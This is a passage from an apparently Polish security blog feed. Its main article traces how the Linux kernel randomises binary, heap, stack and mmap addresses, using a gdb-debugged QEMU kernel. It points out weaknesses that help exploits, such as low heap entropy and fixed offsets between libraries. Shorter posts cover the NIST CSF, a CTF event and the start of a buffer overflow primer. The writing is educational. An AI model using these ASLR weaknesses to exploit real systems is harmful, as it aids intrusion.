W artykule “Stack based buffer overflow - Wstęp teoretyczny i (nie do końca) praktyczna demonstracja” Dawid specjalnie kompilował program z no-pie właśnie po to, żeby uniknąć dodatkowego zabezpieczenia wprowadzanego przez ASLR. W rzeczywistej eksploitacji zazwyczaj wymagane są dwa błędy - jeden, żeby złamać ASLR przez wycieki adresów, drugi żeby przejąć kontrolę nad przepływem programu.

Jeśli jesteście nowi w temacie i pomyśleliście sobie “co, jeśli dwa procesy będą miały ten sam adres? Nie wystąpi wtedy jakaś kolizja?”, to już śpieszę się z wyjaśnieniem. Otóż, nie! Nazwa “wirtualna przestrzeń adresowa” wzięła się stąd, że jest wirtualna… co znaczy, że nie jest fizyczna… Co? Współczesne systemy operacyjne tłumaczą adresy na fizyczne za pomocą MMU - różne procesy mogą używać tego samego adresu, ale będzie on wskazywał na inną lokalizację w pamięci fizycznej. Z punktu widzenia procesu, nie jest on nawet świadomy istnienia innych procesów i wydaje mu się, że cała przestrzeń adresowa istnieje tylko dla niego.

Linux Internals

Postanowiłem nie robić wstępnych założeń i nie patrzeć tylko na kod. Żeby sprawdzić eksperymentalnie, jak liczone są wszystkie adresy, zbudowałem kernel Linuxa z symbolami do debugowania. Podpinając debugger gdb do kernela uruchomionego w wirtualnej maszynie QEMU zobaczymy od środka jaki kod się wykonuje i jakie zmienne przyjmują jakie wartości. Zachęcam do wykonania eksperymentu również u siebie w domu!

Przygotowanie środowiska

Kroki, które wykonam będą robione na podstawie tego poradnika: https://vccolombo.github.io/cybersecurity/linux-kernel-qemu-setup/. Jeśli nie jesteście zainteresowani robieniem tego własnoręcznie, czytanie tego podrozdziału można spokojnie pominąć.

Na początek instalujemy wszystkie zależności:

# w przypadku ubuntu
sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison qemu-system-x86 debootstrap

# w przypadku archlinux
sudo pacman -S git fakeroot base-devel ncurses xz openssl bc flex libelf bison qemu-system-x86 debootstrap

Należy pobrać najnowszego tarballa z kernelem Linuxa z https://www.kernel.org/, w moim przypadku jest to 6.15-rc7, czyli najnowszy w momencie pisania, i go wypakować.

Następnie należy wygenerować pliki potrzebne do kompilacji poprzez napisanie $ make defconfig, po czym otworzyć plik .config w ulubionym edytorze tekstowym, w moim przypadku jest to Emacs, i dopisać na koniec:

# Coverage collection.
CONFIG_KCOV=y
# Debug info for symbolization.
CONFIG_DEBUG_INFO=y
# Memory bug detector
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y
# Required for Debian Stretch
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_DEBUG_INFO_DWARF5=y

a potem napisać $ make olddefconfig i rozpocząć proces kompilacji za pomocą polecenia $ make -j$(nproc). Może to potrwać od 10 minut do paru godzin, zależnie od komputera.

Jeśli nigdy nie kompilowaliście kernela, to spokojnie! Jak widać, nie jest to wcale takie straszne, jak może się wydawać! Po tym, jak wykona się kompilacja, powinny się stworzyć dwa pliki: ./vmlinux, który jest plikiem z kernelem z symbolami do debugowania i arch/x86_64/boot/bzImage, który jest skompresowanym vmlinux ładowanym przez bootloader.

Następnie musimy przygotować obraz systemu plików, z którego nasz skompilowany kernel będzie korzystał. Wykonujemy polecenia, które stworzą nam obraz dysku na podstawie Debiana:

$ mkdir image && cd image
$ wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh
$ chmod +x create-image.sh
$ ./create-image.sh

W tym momencie mamy już wszystko gotowe do uruchomienia systemu. Tworzymy plik ./run.sh, do którego wpisujemy:

qemu-system-x86_64 \
 -m 1G \
 -smp 2 \
 -gdb tcp::1234 \
 -kernel $1/arch/x86/boot/bzImage \
 -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0 nokaslr" \
 -drive file=$2/bullseye.img,format=raw \
 -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
 -net nic,model=e1000 \
 -enable-kvm \
 -nographic \
 -pidfile vm.pid \
 2>&1 | tee vm.log

i uruchamiamy go za pomocą poleceń:

$ chmod +x run.sh
$ ./run.sh . image/

Po wykonaniu powinniśmy zobaczyć ekran z logowaniem do systemu, logujemy się na użytkownika root, który nie ma hasła.

W tym momencie możemy w drugim terminalu podpiąć się za pomocą gdb do portu 1234 udostępnionego przez qemu. Uruchamiamy gdb poprzez $ gdb ./vmlinux i wpisujemy w gdb polecenie target remote 0:1234.

W tym momencie mamy podpięte gdb do kernela Linuxa, którego skompilowaliśmy, yay! Możemy wykonywać wszystkie komendy, które znamy z debugowania programów uruchamianych w userspace, jak breakpointy, czy stepowanie i nextowanie. Dodatkowo używam pluginu do gdb pwndbg, który teoretycznie jest stworzony z myślą o exploit developmencie i inżynierii wstecznej, natomiast używam go również do zwykłego debugowania, jako że ułatwia używanie gdb i jestem do niego przyzwyczajony. Są też inne pluginy jak gef albo gdb-dashboard, który jest bardziej stworzony z myślą o zwykłych programistach. Polecam sobie któryś wybrać i zainstalować zgodnie z instrukcjami w README danego pluginu.

Jesteśmy też w stanie się połączyć do użytkownika w środku qemu za pomocą ssh, jak i również przesyłać pliki przez scp (co się może przydać, np. żeby przesłać binarkę, którą kompilujemy lokalnie, a chcemy wykonać w środku QEMU).

$ scp -i image/bullseye.id_rsa -P 10021 -o "StrictHostKeyChecking no" ./plik root@localhost:/
$ ssh -i image/bullseye.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost

Deep-dive

Funkcja static int load_elf_binary(struct linux_binprm *bprm) w pliku fs/binfmt_elf.c jest odpowiedzialna za wczytywanie plików wykonywalnych do pamięci i to właśnie od jej fragmentów zaczniemy, jako że losowanie zaczyna się właśnie tutaj.

Do zrozumienia jak to działa w gdb, stawiamy breakpoint w wyżej wymienionej funkcji i będziemy uruchamiać program $ cat /proc/self/maps, który wyświetli, gdzie są zmapowane wszystkie segmenty pamięci.

Binarka

Na linii 1130 mamy kod wykonujący się dla plików ELF z ET_DYN (inaczej mówiąc, są to binarki skompilowane z -pie -fpie). W warunku ifa dodatkowo sprawdzamy, czy nasza binarka ma jakiś “interpreter”. W przypadku ELFów jest to loader/ld-linux.so, natomiast w przypadku wykonywalnych plików tekstowych, interpreter jest definiowany przez shebang.

 if (interpreter) {
 /* On ET_DYN with PT_INTERP, we do the ASLR. */
 load_bias = ELF_ET_DYN_BASE;
 if (current->flags & PF_RANDOMIZE)
 load_bias += arch_mmap_rnd();
 /* Adjust alignment as requested. */
 if (alignment)
 load_bias &= ~(alignment - 1);
 elf_flags |= MAP_FIXED_NOREPLACE;

Makro ELF_ET_DYN_BASE jest równe 0x555555554aaa i definiuje bazowy adres (precyzyjnie mówiąc 0x555555554000 po wyrównaniu do stron pamięci) ładowania dla PIE, do którego nasz program byłby ładowany gdyby nie ASLR. Ta pozornie losowa wartość została najprawdopodobniej wybrana jako łatwa do rozpoznania podczas debugowania - wzór “555” jest charakterystyczny i natychmiast wskazuje na PIE binarkę. Ponieważ mamy włączone ASLR, wykonuje się dodatkowo linijka load_bias += arch_mmap_rnd();, która dodaje losowość do adresu, do którego będzie ładowany nasz program. Teraz przyjrzymy się tej funkcji.

unsigned long arch_mmap_rnd(void)
{
 return arch_rnd(mmap_is_ia32() ? mmap32_rnd_bits : mmap64_rnd_bits);
}

static unsigned long arch_rnd(unsigned int rndbits)
{
 if (!(current->flags & PF_RANDOMIZE))
 return 0;
 return (get_random_long() & ((1UL << rndbits) - 1)) << PAGE_SHIFT;
}

Funkcja arch_mmap_rnd wywołuje arch_rnd z argumentem mmap64_rnd_bits lub mmap32_rnd_bits, zależnie od tego, czy nasz program jest 32-bitowy. Stała mmap64_rnd_bits jest równa 28. Funkcja arch_rnd losuje nam 28-bitową liczbę, po czym wykonuje przesunięcie bitowe (PAGE_SHIFT), żeby wyrównać liczby do stron pamięci, które mają rozmiar 4KiB. Przykładowe liczby, które ta funkcja zwróci, to: 0xe14e215000, 0x110feee000 i 0x6eb8eda000.

Wylosowana liczba jest dodawana do zmiennej load_bias, która jest równa 0x555555554aaa. Po dodaniu 0x6eb8eda000 do tej zmiennej, przyjmuje ona wartość 0x55c40e42eaaa. Maska ~(alignment - 1) jest równa 0xfffffffffffff000, zatem po operacji maskowania load_bias &= ~(alignment - 1); zmienna load_bias jest równa 0x55c40e42e000. Po wpisaniu continue do gdb, komenda cat pokazuje nam, że rzeczywiście w tym miejscu w pamięci nasz program się pojawił.

root@syzkaller:~# cat /proc/self/maps
55c40e42e000-55c40e430000 r--p 00000000 08:00 12243 /usr/bin/cat
55c40e430000-55c40e435000 r-xp 00002000 08:00 12243 /usr/bin/cat
55c40e435000-55c40e438000 r--p 00007000 08:00 12243 /usr/bin/cat
55c40e438000-55c40e439000 r--p 00009000 08:00 12243 /usr/bin/cat
55c40e439000-55c40e43a000 rw-p 0000a000 08:00 12243 /usr/bin/cat
55c448bc7000-55c448be8000 rw-p 00000000 00:00 0 [heap]
...

Heap

Dużo niżej w tej samej funkcji, na samym końcu w linii 1330 mamy losowanie miejsca, w którym znajdzie się początek sterty.

 mm->start_brk = mm->brk = ELF_PAGEALIGN(elf_brk);

 if ((current->flags & PF_RANDOMIZE) && snapshot_randomize_va_space > 1) {
 /*
 * If we didn't move the brk to ELF_ET_DYN_BASE (above),
 * leave a gap between .bss and brk.
 */
 if (!brk_moved)
 mm->brk = mm->start_brk = mm->brk + PAGE_SIZE;

 mm->brk = mm->start_brk = arch_randomize_brk(mm);
 brk_moved = true;
 }

Bez randomize_va_space, wspomnianego na początku artykułu, ustawionego na więcej niż 1, mm->brk będzie po prostu położone zaraz po tym, gdzie kończy się nasza binarka. W przeciwnym przypadku, ta wartość jest losowana w funkcji arch_randomize_brk, której się przyjrzymy. Skąd pochodzi nazwa brk? Otóż, miejsce, w którym wyznaczany jest heap, jest definiowane przez wywołanie systemowe brk. Słowo “break” oznacza tutaj “granicę” lub “punkt przerwania” - brk to wskaźnik w pamięci, który określa koniec sterty. Gdy program potrzebuje więcej pamięci na stercie, używa wywołania systemowego brk i “przesuwa break” wyżej w pamięci, zwiększając tym dostępną przestrzeń.

unsigned long arch_randomize_brk(struct mm_struct *mm)
{
 if (mmap_is_ia32())
 return randomize_page(mm->brk, SZ_32M);

 return randomize_page(mm->brk, SZ_1G);
}

unsigned long randomize_page(unsigned long start, unsigned long range)
{
 if (!PAGE_ALIGNED(start)) {
 range -= PAGE_ALIGN(start) - start;
 start = PAGE_ALIGN(start);
 }

 if (start > ULONG_MAX - range)
 range = ULONG_MAX - start;

 range >>= PAGE_SHIFT;

 if (range == 0)
 return start;

 return start + (get_random_long() % range << PAGE_SHIFT);
}

W funkcji arch_randomize_brk wywołujemy randomize_page z argumentem zależnym od tego, czy program jest 32-bitowy. Funkcja randomize_page losuje liczbę w zakresie od start do start+range (nie włącznie). Zatem będziemy losować liczbę w zakresie od mm->brk (które jest równe adresowi strony pamięci po której kończy się nasz załadowany program) do mm->brk+1GiB.

Zatem może się wydawać, że mamy dodatkowy 1 Gigabajt (2^30) losowości. Jednak należy pamiętać, że ten adres jest wyrównany do strony pamięci (4KiB czyli 2^12), więc odejmowane jest 12 bitów. Zakładając, że znamy adres binarki, ale nie znamy adresu sterty, mamy 18 (30-12) bitów entropii. Nie jest to jakoś szczególnie dużo i jest to pewna słabość w ASLR na Linuxie. Fakt ten został wykorzystany w tegorocznej edycji konkursu hakerskiego Break The Syntax w jednym z moich zadań poniponi-virus, które było jednym z trudniejszych zadań. Omówienie zadania można zobaczyć tutaj.

Stos

Adres stosu wyznaczamy w linii 1020 w funkcji load_elf_binary. Zaraz po tym, gdy wyznaczony jest adres, do którego załadowane będą nasze biblioteki współdzielone (które będą omówione później).

 /* Do this so that we can load the interpreter, if need be. We will
 change some of these later */
 retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
 executable_stack);
 if (retval < 0)
 goto out_free_dentry;

Funkcja setup_arg_pages przyjmuje jako jeden ze swoich argumentów górę stosu. Należy pamiętać, że w przypadku architektury x64 stos rośnie w dół (tzn. w kierunku adresów niższych), więc tak naprawdę wyznaczamy początek stosu. Makro STACK_TOP jest równe 0x7ffffffff000.

#define __STACK_RND_MASK(is32bit) ((is32bit) ? 0x7ff : 0x3fffff)
#define STACK_RND_MASK __STACK_RND_MASK(mmap_is_ia32())

unsigned long randomize_stack_top(unsigned long stack_top)
{
 unsigned long random_variable = 0;

 if (current->flags & PF_RANDOMIZE) {
 random_variable = get_random_long();
 random_variable &= STACK_RND_MASK;
 random_variable <<= PAGE_SHIFT;
 }
#ifdef CONFIG_STACK_GROWSUP
 return PAGE_ALIGN(stack_top) + random_variable;
#else
 return PAGE_ALIGN(stack_top) - random_variable;
#endif
}

Makro STACK_RND_MASK jest równe 0x3fffff, także generujemy liczbę składającą się z 22 losowych bitów wyrównanych do strony pamięci. Po tym odejmujemy tę liczbę z adresu, który byłby górą stosu gdyby nie ASLR.

int setup_arg_pages(struct linux_binprm *bprm,
 unsigned long stack_top,
 int executable_stack)
#else
 stack_top = arch_align_stack(stack_top);
 stack_top = PAGE_ALIGN(stack_top);

 if (unlikely(stack_top < mmap_min_addr) ||
 unlikely(vma->vm_end - vma->vm_start >= stack_top - mmap_min_addr))
 return -ENOMEM;

 stack_shift = vma->vm_end - stack_top;

 bprm->p -= stack_shift;
 mm->arg_start = bprm->p;
#endif

W funkcji setup_arg_pages dodatkowo wywołujemy funkcję arch_align_stack, która dodaje losowe nadprogramowe mniej znaczące bity do naszego stosu. W wyniku czego stos nie będzie się zaczynał na początku/końcu jakiejś strony pamięci, tylko w środku. Reszta strony będzie najzwyczajniej wypełniona zerami. Ta dwupoziomowa randomizacja stosu (gruba randomizacja na poziomie stron + drobna randomizacja wewnątrz strony) zapewnia zarówno znaczną entropię jak i poprawne wyrównanie dla instrukcji wymagających określonego alignmentu.

unsigned long arch_align_stack(unsigned long sp)
{
 if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
 sp -= get_random_u32_below(8192);
 return sp & ~0xf;
}

W funkcji arch_align_stack możemy zobaczyć, że losujemy liczbę mniejszą niż 8192 (0x2000). Czyli mamy 13 losowych bitów. Po tym, przed zwróceniem tej liczby maskujemy ją z ~0xf, czyli usuwamy 4 bity losowości, otrzymując ostatecznie 9 bitów losowości. Jednak jeden bit pokrywa się z innym bitem poprzedniej wylosowanej liczby, więc w praktyce mamy około 30 bitów losowości (22+9-1).

Biblioteki współdzielone i mmap

W funkcji load_elf_binary w linii 1016 mamy funkcję setup_new_exec, która wywołuje arch_pick_mmap_layout, która z kolei wywołuje arch_pick_mmap_base. W tej funkcji wyznaczamy adres bazowy dla dynamicznie ładowanych bibliotek współdzielonych (takich jak np. libc.so.6) oraz adresów zwracanych przez syscall mmap.

void arch_pick_mmap_layout(struct mm_struct *mm, struct rlimit *rlim_stack)
{
 if (mmap_is_legacy())
 clear_bit(MMF_TOPDOWN, &mm->flags);
 else
 set_bit(MMF_TOPDOWN, &mm->flags);

 arch_pick_mmap_base(&mm->mmap_base, &mm->mmap_legacy_base,
 arch_rnd(mmap64_rnd_bits), task_size_64bit(0),
 rlim_stack);
}

/*
 * This function, called very early during the creation of a new
 * process VM image, sets up which VM layout function to use:
 */
static void arch_pick_mmap_base(unsigned long *base, unsigned long *legacy_base,
 unsigned long random_factor, unsigned long task_size,
 struct rlimit *rlim_stack)
{
 *legacy_base = mmap_legacy_base(random_factor, task_size);
 if (mmap_is_legacy())
 *base = *legacy_base;
 else
 *base = mmap_base(random_factor, task_size, rlim_stack);
}

Zmienna *base jest naszym adresem bazowym, a przypisywana jest do niego wartość zwracana przez funkcję mmap_base.

static unsigned long mmap_base(unsigned long rnd, unsigned long task_size,
 struct rlimit *rlim_stack)
{
 unsigned long gap = rlim_stack->rlim_cur;
 unsigned long pad = stack_maxrandom_size(task_size) + stack_guard_gap;

 /* Values close to RLIM_INFINITY can overflow. */
 if (gap + pad > gap)
 gap += pad;

 /*
 * Top of mmap area (just below the process stack).
 * Leave an at least ~128 MB hole with possible stack randomization.
 */
 gap = clamp(gap, SIZE_128M, (task_size / 6) * 5);

 return PAGE_ALIGN(task_size - gap - rnd);
}

Argument rnd jest równy wynikowi arch_rnd(mmap64_rnd_bits), które było omówione przy tym, jak losowana jest binarka i działa dokładnie tak samo. Dla przypomnienia, ta funkcja zwraca wartość dającą nam 28 bitów entropii.

unsigned long task_size_64bit(int full_addr_space)
{
 return full_addr_space ? TASK_SIZE_MAX : DEFAULT_MAP_WINDOW;
}

Argument task_size jest równy wynikowi task_size_64bit(0), czyli DEFAULT_MAP_WINDOW (0x7ffffffff000), jako że funkcja jest wywoływana z argumentem 0.

Adres bazowy jest wyznaczany tylko raz podczas ładowania programu i wszystkie biblioteki/wywołania systemowe mmap są od niego zależne! W funkcji unmapped_area_topdown w pliku ./mm/vma.c wyznaczamy kolejne adresy zwracane przez mmap oraz ładowanych bibliotek. Nie będziemy się już tej funkcji przyglądać, jako że jest dosyć skomplikowana i rozpatruje wiele przypadków brzegowych.

Jak widzimy na poniższych zdjęciach:

dla wywołania polecenia cat /proc/self/maps, funkcja mmap_base zwróci nam 0x7f1c82d07000. Jest to adres równy końcowi ostatniego segmentu pamięci pojawiającego się przed stosem. W praktyce okazuje się, że za każdym razem funkcja unmapped_area_topdown zwraca nam najwyższy możliwy adres, który jest niższy od poprzedniego, przez co wszystkie segmenty pamięci “stykają się i nie ma dziur”. W wyniku tego, jeśli atakujący zna jeden adres (np. wyciek adresu jakiegoś wywołania anonimowej pamięci zwróconej przez syscall mmap), to zna wszystkie inne adresy (np. adres biblioteki standardowej libc), ponieważ relatywny offset pozostaje stały. Jest to duża słabość w tym, w jaki sposób Linux implementuje ASLR.

Porównanie z innymi systemami operacyjnymi

Ciekawostką jest, że ASLR w Linuxie, w przeciwieństwie do Windowsa i macOS, jako jedyne ma wszędzie równą dystrybucję prawdopodobieństwa. Badanie przeprowadzone w pracy “The Illusion of Randomness” porównywało losowość (ilość bitów entropii absolutnej i zależnej, oraz dystrybucję) w różnych systemach operacyjnych.

Tak owa dystrybucja wygląda na Linuxie:

a tak na Windowsie i macOS:

Ciekawskich zachęcam do przeczytania oryginalnego artykułu, jako że jest on bardzo intrygujący.

Podsumowanie

ASLR w jądrze Linuxa, mimo że implementowane w sposób stosunkowo prosty i zrozumiały, ma kilka znaczących słabości bezpieczeństwa. Najważniejsze z nich to niska entropia zależna sterty (18 bitów) oraz deterministyczny układ bibliotek współdzielonych, gdzie znajomość jednego adresu pozwala na wywnioskowanie wszystkich pozostałych.

Implementacja bazuje na kilku kluczowych funkcjach: arch_mmap_rnd() dla randomizacji binarki i bibliotek (28 bitów entropii), arch_randomize_brk() dla sterty (18 bitów entropii) oraz randomize_stack_top() i arch_align_stack() dla stosu (łącznie około 30 bitów entropii). Każdy z tych mechanizmów działa niezależnie podczas ładowania programu.

Źródła

Przeczytałem NIST CSF, abyście Wy nie musieli

Tue, 13 May 2025 00:00:00 +0000

Na początek – kilka statystyk

Jeśli planujesz karierę w branży cyberbezpieczeństwa, znajomość NIST Cybersecurity Framework (CSF) może znacząco zwiększyć Twoje szanse na rynku pracy. Zgodnie z raportem o rynku pracy na rok 2024 opublikowanym przez polską firmę NoFluffJobs, około 20% ofert pracy w obszarze IT wymaga znajomości standardów NIST. Warto również zwrócić uwagę, że również 20% ofert pracy oczekuje znajomości systemu Linux, który dla wielu specjalistów uważany jest za standard. Można więc stwierdzić, że znajomość NIST, w tym CSF, staje się coraz bardziej powszechnym wymaganiem na rynku pracy.

Czym jest NIST?

NIST (National Institute of Standards and Technology) to amerykańska instytucja zajmująca się opracowywaniem standardów w obszarze technologii oraz jej bezpieczeństwa. Choć organizacja działa głównie w Stanach Zjednoczonych, jej ramy dotyczące cyberbezpieczeństwa, takie jak NIST CSF, są szeroko stosowane przez wiele firm i instytucji na całym świecie (np. Aramco).

Czym jest NIST Cybersecurity Framework?

NIST Cybersecurity Framework (CSF) to zbiór najlepszych praktyk i zaleceń dotyczących zarządzania cyberbezpieczeństwem. Powstał, aby pomóc organizacjom we wdrażaniu oraz ciągłym ulepszaniu ich systemów, procedur i polityk bezpieczeństwa. Warto podkreślić, że NIST CSF nie jest metodą audytu i nie narzuca konkretnych rozwiązań ani sztywnych norm. Jest to elastyczny zestaw narzędzi i wskazówek, który pomaga organizacjom w poprawie bezpieczeństwa.

Z jakich elementów składa się NIST CSF?

NIST CSF opiera się na trzech głównych elementach:

1. Framework Core (Rdzeń Ram)

Jest to zestaw 6 funkcji, 22 kategorii i 106 podkategorii, które organizacja może wykorzystać do poprawy swojego cyberbezpieczeństwa. Główne kategorie to:

Govern (Zarządzanie) – wprowadzona w CSF 2.0, koncentruje się na strategiach, politykach i procedurach zarządzania cyberbezpieczeństwem,
Identify (Identyfikacja) – określenie zasobów i zagrożeń,
Protect (Ochrona) – wdrażanie mechanizmów zabezpieczających,
Detect (Wykrywanie) – monitorowanie incydentów,
Respond (Reagowanie) – zarządzanie incydentami,
Recover (Odzyskiwanie) – przywracanie działania po incydencie. Przykład podkategorii: Pod funkcją Detect (Wykrywanie) znajduje się kategoria Anomalie i Wydarzenia (Anomalies and Events), która zawiera podkategorię DE.AE-3: „Informacje są korelowane z różnych źródeł”. Oznacza to, że organizacja powinna zbierać dane z różnych źródeł, aby zidentyfikować potencjalne anomalie i zagrożenia.

2. Implementation Tiers (Poziomy wdrożenia)

NIST CSF określa cztery poziomy dojrzałości w zarządzaniu cyberbezpieczeństwem:

Tier 1: Częściowy – brak formalnych procesów zarządzania ryzykiem,
Tier 2: Świadomy ryzyka – podstawowe procesy są wdrożone, ale niekoniecznie spójne,
Tier 3: Powtarzalny – organizacja stosuje ustandaryzowane praktyki,
Tier 4: Adaptacyjny – organizacja dynamicznie dostosowuje swoje podejście do zmieniających się zagrożeń. Warto zaznaczyć, że większość organizacji nie wymaga osiągnięcia poziomu 4. Elastyczność NIST pozwala przyjąć, że w wielu przypadkach wystarczająca jest świadomość ryzyka w danej kategorii zabezpieczeń.

3. Framework Profiles (Profile Ram)

Profile pomagają organizacjom dostosować CSF do ich indywidualnych potrzeb i celów biznesowych. Tworzenie profilu pozwala na analizę aktualnego poziomu zabezpieczeń oraz określenie docelowego stanu cyberbezpieczeństwa. Wraz z rozwojem organizacji profil umożliwia ciągłe porównywanie stanu przed i po wdrożeniu określonych ulepszeń.

Jak korzystać z NIST CSF?

Organizacje mogą wykorzystać NIST CSF na różne sposoby, na przykład jako narzędzie do samooceny lub jako podstawę do budowy strategii cyberbezpieczeństwa. Kluczowe kroki obejmują:

1. Określenie obecnego poziomu dojrzałości w ramach CSF (Implementation Tiers)

Pierwszym krokiem jest analiza aktualnego poziomu zabezpieczeń organizacji – zarówno od strony technicznej jak i organizacyjnej. Szczególnie cenne są tu opinie pracowników, także kadry kierowniczej. W tym celu warto wykorzystać checklisty lub rozbudowane ankiety przesyłane pracownikom do uzupełnienia. Zebrane dane umożliwiają określenie bieżącego poziomu bezpieczeństwa w wybranych obszarach. Przykład: Mała firma technologiczna, która nigdy nie wdrażała formalnych procedur cyberbezpieczeństwa, może zaklasyfikować się na poziomie Tier 1 (Częściowy). Organizacja posiadająca już podstawowe procedury, choć niestosowane konsekwentnie, może znajdować się na poziomie Tier 2 (Świadomość ryzyka). Duże korporacje, dysponujące ustandaryzowanymi i powtarzalnymi procesami, dążą zazwyczaj do poziomu Tier 3 (Powtarzalny) lub nawet Tier 4 (Adaptacyjny), jeśli potrafią dynamicznie reagować na zmieniające się zagrożenia.

2. Stworzenie profilu ramowego dostosowanego do potrzeb organizacji

Na tym etapie opracowuje się profil bezpieczeństwa odpowiadający specyfice organizacji. Obejmuje on plan działania, identyfikację priorytetów oraz porównanie ich z aktualnym poziomem bezpieczeństwa. Pozwala to wskazać luki i określić poprawki, które wymagają natychmiastowego wdrożenia. Równocześnie warto zaplanować potrzebne zasoby – zarówno kadrowe jak i budżetowe – konieczne do realizacji wyznaczonych celów. Kluczowa na tym etapie jest ścisła współpraca z zarządem. Przykład: Firma z sektora finansowego może skupić się na funkcji Identify (Identyfikacja), by precyzyjnie zmapować zasoby oraz zagrożenia. Z kolei dostawca usług chmurowych powinien położyć szczególny nacisk na funkcję Protect (Ochrona), wdrażając silne mechanizmy szyfrowania i kontroli dostępu.

3. Wdrożenie rekomendacji z Framework Core

To kluczowy etap, polegający na realizacji wcześniej opracowanego planu rozwoju cyberbezpieczeństwa w organizacji. Działania te obejmują implementację konkretnych funkcji, kategorii oraz podkategorii wskazanych we Framework Core. W trakcie wdrażania planu istotne jest prowadzenie regularnych spotkań – comiesięcznych oraz kwartalnych – zarówno z pracownikami jak i z zarządem. Pozwala to monitorować postęp prac, wprowadzać ewentualne korekty oraz zapewnić zaangażowanie wszystkich kluczowych interesariuszy. Przykład: Organizacja może wdrożyć konkretną podkategorię CSF, np. DE.AE-3 („Generowane alerty są analizowane w celu określenia ich potencjalnego wpływu”), poprzez implementację systemu SIEM (Security Information and Event Management), który umożliwia monitorowanie zdarzeń w sieci oraz analizę wykrytych alertów.

4. Monitorowanie i dostosowywanie strategii zgodnie z ewoluującymi zagrożeniami

Monitorowanie to nieodłączny element podejścia NIST CSF. Po wdrożeniu zaplanowanych poprawek organizacja powinna nieustannie oceniać ich skuteczność i efektywność. Regularna analiza wyników, zestawiona z opiniami pracowników, pozwala na bieżące doskonalenie strategii bezpieczeństwa. Ten etap nie ma charakteru końcowego — ramy NIST CSF funkcjonują w modelu pętli zwrotnej. Na podstawie zebranych danych oraz porównania ich z wartościami początkowymi można ponownie przeprowadzić ocenę poziomu bezpieczeństwa, oraz zaplanować i wdrożyć kolejne zmiany lub nowe środki ochrony. Przykład: Organizacja może cyklicznie przeprowadzać symulacje cyberataków (tzw. Red Team/Blue Team exercises), aby sprawdzić, jak jej systemy reagują na realne zagrożenia. Wyniki takich ćwiczeń mogą wskazać obszary wymagające poprawy i stać się podstawą do modyfikacji istniejących zabezpieczeń.

Podsumowanie – co dalej?

NIST CSF to potężne narzędzie wspierające organizacje w zarządzaniu cyberbezpieczeństwem. Jego elastyczność pozwala dostosować go do potrzeb zarówno małych firm jak i dużych korporacji oraz instytucji rządowych. Warto jednak pamiętać, że NIST CSF nie jest metodą audytu, lecz bardziej przewodnikiem, który ułatwia proces wdrażania poprawek w zabezpieczeniach.

Jeśli zainteresował Cię NIST CSF, polecam również zapoznać się z innym istotnym standardem opracowanym przez NIST, czyli Risk Management Framework (RMF), który koncentruje się na zarządzaniu ryzykiem w organizacji. W kolejnym artykule z cyklu „Przeczytałem …, abyście Wy nie musieli” przybliżę temat tego frameworku, jego zastosowania oraz kluczowe zasady.

Źródła

Break The Syntax CTF 2025

Sun, 11 May 2025 00:00:00 +0000

Break The Syntax 2025

[PL] Break the Syntax 2025

Szósta edycja Break The Syntax w 2025 roku trwała 42 godziny. Rozpoczęła się w piątek 09.05.2025 18:00 i trwała aż do niedzieli 11.05 12:00. Głównym partnerem całego wydarzenia po raz kolejny została firma EY. Zgromadziliśmy w formie stacjonarnej 21 drużyn. Łącznie z uczestnikami online, aż 484 drużyn rozwiązało chociaż jedno zadanie. To znacznie większa aktywność niż w ubiegłym roku. Dziękujemy!

Writeupy tutaj.

[ENG] Break the Syntax 2025

The sixth edition of Break The Syntax in 2025 lasted 42 hours. It started on Friday, May 09, 2025 6:00 p.m. and lasted until Sunday, May 11 12:00 p.m. The main partner of the entire event was once again EY. There were 21 teams participating on-site. Including online participants, there were 484 teams that solved at least one challenge. This is much more activity than last year. Thank you!

Writeups here.

Stack based buffer overflow

Fri, 11 Apr 2025 00:00:00 +0000

Buffer overflow to powszechnie znana podatność wśród ludzi zainteresowanych cyberbezpieczeństwem oraz programistów. Błędy, takie jak “Segmentation fault” lub “Access violation” są skutkiem złego zarządzania pamięcią, a także świadczą o poważnych lukach bezpieczeństwa. W bazach podatności CVE co jakiś czas pojawiają się nowe, krytyczne luki z hasłem “buffer overflow” w opisie (CVE-2023-41028, CVE-2023-6888, CVE-2023-6314, CVE-2023-7024).

Co to jest?

Czym tak właściwie jest atak wykorzystujący buffer overflow? Mówiąc ogólnie, jest to technika ataku, która polega na wprowadzeniu do bufora większej ilości danych, niż jest on w stanie pomieścić. Można przez to zapisać dane do pamięci, do której nie powinniśmy mieć dostępu. Brzmi to jak coś, co jedynie może doprowadzić do błędu i zakończenia działania programu, nie mając większego wpływu na bezpieczeństwo (może poza wpływem na dostępność aplikacji). Jeśli jednak użyje się tego mechanizmu z odrobiną wiedzy, można znacząco wpłynąć na bezpieczeństwo całego systemu.

Możliwe skutki ataku buffer overflow są dość zróżnicowane, ale zwykle są to awarie aplikacji lub całego systemu operacyjnego, zmiana kolejności wykonywania programu (np. poprzez wywołanie żądanej funkcji w programie) lub doprowadzenie do wycieku danych z pamięci. Możliwe staje się również wykonanie własnego kodu poprzez shellcode, a to umożliwia m.in. przejęcie kontroli nad systemem (np. uzyskanie uprawnień superużytkownika lub wstrzyknięcie złośliwego oprogramowania).

Niestety, podczas omawiania buffer overflow nie da się uciec od podstawowej wiedzy programistycznej i dość technicznych aspektów, dotyczących struktury pamięci podczas wykonywania programu.

Struktura pamięci

System uruchomi najpierw funkcję main, ale cały program (proces) będzie znajdować się w pamięci i będzie miał określoną strukturę składającą się z kilku określonych obszarów, zwykle takich samych dla różnych procesów.

Zaalokowaną pamięć dla procesu możemy sobie wyobrazić jako blok adresów o pewnym rozmiarze - większym lub mniejszym w zależności od potrzeb różnych programów. W tej zaalokowanej pamięci, patrząc od najwyższych adresów, mamy obszary:

text - obszar zawiera kod maszynowy. Ten obszar pamięci jest zazwyczaj ustawiony w trybie tylko do odczytu i wykonania,
data - przechowuje zainicjowane zmienne statyczne i globalne,
